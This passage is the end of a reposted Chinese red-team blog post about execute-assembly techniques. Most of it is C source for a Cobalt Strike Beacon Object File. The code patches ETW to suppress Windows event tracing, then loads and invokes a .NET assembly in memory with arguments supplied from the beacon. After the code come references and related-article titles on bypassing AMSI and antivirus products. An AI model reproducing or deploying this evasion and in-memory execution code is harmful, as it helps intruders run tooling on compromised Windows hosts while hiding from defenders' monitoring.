  BeaconPrintf(CALLBACK_ERROR, "[!]Invoke Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] Invoke Success");

 pMethodInfo->lpVtbl->Release(pMethodInfo);
 pAssembly->lpVtbl->Release(pAssembly);
 pDefaultAppDomain->lpVtbl->Release(pDefaultAppDomain);
 iRuntimeInfo->lpVtbl->Release(iRuntimeInfo);
 iMetaHost->lpVtbl->Release(iMetaHost);
 OLE32$CoUninitialize();
 return TRUE;

}

void go(char* args, int length)
{
 BeaconPrintf(CALLBACK_OUTPUT, "[+] go go go");

 if(PatchETW() == TRUE)
 {
  BeaconPrintf(CALLBACK_OUTPUT,"patch etw Success");
 }

 datap  parser;
 BeaconDataParse(&parser, args, length);
 char* AssemblyBytes = BeaconDataExtract(&parser, NULL);
 DWORD AssemblyLength = BeaconDataInt(&parser);
 char* AssemblyArguments = BeaconDataExtract(&parser, NULL);
 BeaconPrintf(CALLBACK_OUTPUT, "[+] AssemblyArguments: %s and AssemblyLength :%d ", AssemblyArguments, AssemblyLength);

 wchar_t* wNetVersion = NULL;
 if (FindVersion(AssemblyBytes, AssemblyLength) == TRUE)
 {
  wNetVersion = L"v4.0.30319";
  //toWideChar("v4.0.30319", wNetVersion, 22);
 }
 else
 {
  wNetVersion = L"v2.0.50727";
  //toWideChar("v2.0.50727", wNetVersion, 22);
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] wNetVersion is %ls", wNetVersion);

 ////将Assembly参数转化为WCHAR类型
 size_t convertedChars = 0;
 wchar_t* wAssemblyArguments = NULL;
 DWORD wideSize = MSVCRT$strlen(AssemblyArguments) + 1;
 wAssemblyArguments = (wchar_t*)MSVCRT$malloc(wideSize * sizeof(wchar_t));
 MSVCRT$mbstowcs_s(&convertedChars, wAssemblyArguments, wideSize, AssemblyArguments, _TRUNCATE);
 BeaconPrintf(CALLBACK_OUTPUT, "[+] wAssemblyArguments is %ls", wAssemblyArguments);

 int NumArgs = 0;
 LPWSTR* ArgumentsArray = NULL;
 ArgumentsArray = SHELL32$CommandLineToArgvW(wAssemblyArguments, &NumArgs);
 BeaconPrintf(CALLBACK_OUTPUT, "[+] ArgumentsArray is %ls", wAssemblyArguments);

 AssemblyLoad(wNetVersion, AssemblyBytes, AssemblyLength, ArgumentsArray, NumArgs);

}

参考文献

  • Shellcode: Loading .NET Assemblies From Memory
  • https://github.com/microsoft/krabsetw/blob/master/krabs/README.md
  • NuGet的使用
  • krabsetw例子说明
  • CobaltStrike 插件编写指南
  • http://sleep.dashnine.org/manual/index.html
  • InlineExecute-Assembly

wx

Execute-Assembly攻守之道


ring3 hookbypass bitdefender

PC

RBCD

syscall

DLLIAT

patchless amsi

windows defender线cs

    Execute-Assembly攻守之道


原文始发于微信公众号(红队蓝军):Execute-Assembly攻守之道

版权声明:admin 发表于 2023年3月24日 上午10:01。
转载请注明:Execute-Assembly攻守之道 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...